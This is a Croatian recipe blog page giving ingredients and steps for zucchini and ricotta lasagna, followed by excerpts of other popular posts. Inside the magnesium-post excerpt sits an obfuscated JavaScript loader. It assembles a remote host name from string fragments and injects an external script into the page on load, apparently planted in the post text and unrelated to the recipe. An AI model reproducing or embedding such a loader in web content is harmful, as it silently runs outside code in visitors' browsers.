LAZANJE S TIKVICAMA I RICOTTOM




Lazanje s tikvicama i ricottom 



Lazanje možda nisu jelo koje je gotovo za pola sata, ali svaki uloženi trenutak itekako se isplati. Ova verzija lazanja s tikvicama, bogatim umakom od rajčice, ricottom i mirisnim svježim začinskim biljem laganija je od klasičnih lazanja s mesom, a jednako zasitna i neodoljivo ukusna.





Lazanje s tikvicama i ricottom 


Sastojci:

  • 2 srednje tikvice
  • 6–8 listova lazanja (bez prethodnog kuhanja)
  • 3 žlice maslinova ulja
  • 1 ljutika
  • 2 češnja češnjaka
  • ½ vezice svježeg origana
  • ½ vezice svježeg bosiljka
  • 3–4 lista kadulje
  • 1 žlica koncentrata rajčice
  • 75 ml suhog bijelog vina
  • 400 g rajčice iz konzerve, nasjeckane
  • 250 g ricotte
  • 1 jaje
  • 50 g naribanog parmezana
  • 100 g naribane mozzarelle
  • sol
  • svježe mljeveni crni papar
  • čili pahuljice (po želji)




Priprema:

  1. Pećnicu zagrijte na 200 stupnjeva (s uključenim gornjim i donjim grijačem).
  2. Tikvice operite, odrežite krajeve i narežite ih po dužini na tanke ploške pomoću mandoline ili oštrog noža.
  3. Posložite ih u jednom sloju na lim obložen papirom za pečenje, lagano premažite maslinovim uljem i posolite. Ako je potrebno, pecite ih u dvije ture.
  4. Pecite oko 10 minuta, dok ne omekšaju i lagano ne porumene. Izvadite iz pećnice i ostavite da se kratko ohlade, a temperaturu pećnice smanjite na 190.
  5. Ljutiku narežite na tanke ploške, a češnjak sitno nasjeckajte. Origano, bosiljak i kadulju operite, osušite i sitno nasjeckajte.
  6. U loncu zagrijte 1 žlicu maslinova ulja pa kratko pirjajte ljutiku i češnjak, oko 2–3 minute, dok ne postanu staklasti. Po želji dodajte malo čili pahuljica. Umiješajte koncentrat rajčice, kratko ga prepržite pa podlijte bijelim vinom. Dodajte sjeckanu rajčicu i polovicu nasjeckanog začinskog bilja. Kuhajte na laganoj vatri oko 15 minuta, povremeno miješajući. Na kraju začinite solju i paprom.
  7. U zdjeli pomiješajte ricottu, jaje, polovicu naribanog parmezana i preostalo nasjeckano začinsko bilje. Posolite, popaprite i dobro izmiješajte dok ne dobijete glatku kremu.
  8. Vatrostalnu posudu lagano premažite preostalim maslinovim uljem.
  9. Slažite sastojke ovim redoslijedom: trećina tikvica, trećina umaka od rajčice, polovica listova lazanja, polovica kreme od ricotte, trećina mozzarelle. Ponovite jo jednom, a na kraju rasporedite ostatak umaka od rajčice pa preostalu mozzarellu, na nju preostale ploške tikvica i na kraju ostatak parmezana.
  10. Posudu prekrijte aluminijskom folijom i pecite oko 40 minuta na srednjoj razini pećnice. Nakon 20 minuta uklonite foliju.
  11. Pečene lazanje ostavite da odmore 5 minuta u isključenoj pećnici prije posluživanja. Tako će se slojevi bolje povezati i lakše rezati.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više